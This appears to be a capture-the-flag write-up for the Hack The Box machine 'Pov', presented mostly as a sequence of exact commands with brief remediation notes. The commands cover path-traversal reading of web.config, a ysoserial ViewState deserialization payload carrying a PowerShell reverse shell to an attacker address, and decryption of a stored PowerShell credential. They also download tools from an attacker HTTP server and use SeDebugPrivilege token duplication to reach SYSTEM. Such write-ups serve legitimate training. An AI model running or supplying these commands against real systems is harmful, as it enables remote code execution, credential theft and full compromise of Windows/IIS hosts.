Pov
Summary
I found a hidden developer virtual host (dev.pov.htb) whose file-download feature let them read arbitrary files on disk, including the site's web.config. That file leaked the ASP.NET machineKey, which let me forge a malicious __VIEWSTATE blob and get code execution on the web application as low-privileged user sfitz.
From that shell, a PowerShell credential file left in sfitz's profile decrypted to a second account, alaading, which I used to move laterally and capture the user flag. Checking alaading's token privileges showed SeDebugPrivilege held (though disabled) — enough to run a custom tool that enabled the privilege, duplicated a SYSTEM process's token, and spawned a shell as NT AUTHORITY\SYSTEM, giving full control of the host and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <ysoserial_output> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve both the main and dev virtual hosts to the target IP.
$ echo "$TARGET pov.htb dev.pov.htb" | sudo tee -a /etc/hostsFuzz for virtual hosts; dev.pov.htb responds differently from the default site.
$ ffuf -H 'Host: FUZZ.pov.htb' -u http://$TARGET/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0Path-traversal read of the site's web.config; adjust the parameter name/traversal depth to match the actual endpoint.
$ curl -sS 'http://dev.pov.htb/download?file=..\..\..\..\web.config'FixFix the arbitrary file-read / path traversal in the dev site's download featureHigh
Exact commands 4
Grab the generator value needed by ysoserial from the page HTML.
$ curl -s http://dev.pov.htb/default.aspx | grep -o '__VIEWSTATEGENERATOR" value="[^"]*'Craft the malicious __VIEWSTATE blob offline using the stolen machineKey.
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <base64_revshell_to_$ATTACKER_IP:443>" --generator="<VIEWSTATEGENERATOR>" --validationkey="<validationKey_from_web.config>" --validationalg="SHA1" --decryptionkey="<decryptionKey_from_web.config>" --decryptionalg="AES"Start the listener before sending the payload.
$ ncat -lvnp 443Deliver the payload; the server deserializes it and executes the embedded command as sfitz.
$ curl -sS -X POST http://dev.pov.htb/default.aspx --data-urlencode '__VIEWSTATE=<ysoserial_output>'FixRotate the ASP.NET machineKey and stop exposing it in a reachable config fileCritical
Exact commands 2
Locate saved credential/config XML files in sfitz's profile.
$ dir /a /s /b C:\Users\sfitz\*.xmlDecrypt the stored PSCredential in sfitz's own session context (only works as sfitz on this host).
$ powershell -NoP -Command "$c=Import-Clixml 'C:\Users\sfitz\Documents\connection.xml';$c.UserName;$c.GetNetworkCredential().Password"FixStop leaving recoverable PowerShell credentials on endpointsHigh
Exact commands 2
Stage RunasCs on the target from my HTTP server.
$ powershell -NoP -Command "Invoke-WebRequest -UseBasicParsing 'http://$ATTACKER_IP:9000/win/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"Run as alaading and read the flag; replace the actual value with <user.txt>.
$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "cmd.exe /c type C:\Users\alaading\Desktop\user.txt" -r $ATTACKER_IP:444Exact commands 2
Redirect output to a file since RunasCs's inline stdout capture was unreliable on this session.
$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "cmd.exe /c whoami /priv > C:\Users\Public\alaading_priv.txt"Read back the captured privilege list.
$ type C:\Users\Public\alaading_priv.txtExact commands 5
Stage the custom SeDebugPrivilege token-duplication tool.
$ powershell -NoP -Command "Invoke-WebRequest -UseBasicParsing 'http://$ATTACKER_IP:8000/alaading.exe' -OutFile 'C:\Windows\Temp\alaading.exe'"Ensure the alaading session can execute the staged binary.
$ icacls C:\Windows\Temp\alaading.exe /grant Users:RXRun the tool as alaading: enables SeDebug, opens a SYSTEM process (e.g. winlogon.exe), duplicates its token, and launches a SYSTEM shell.
$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "C:\Windows\Temp\alaading.exe" -t 0Run in the new session to confirm nt authority\system before reading the flag.
$ whoami
nt authority\systemRead the root flag; replace the actual value with <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtFixRemove unnecessary SeDebugPrivilege and monitor for token-duplication abuseCritical
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |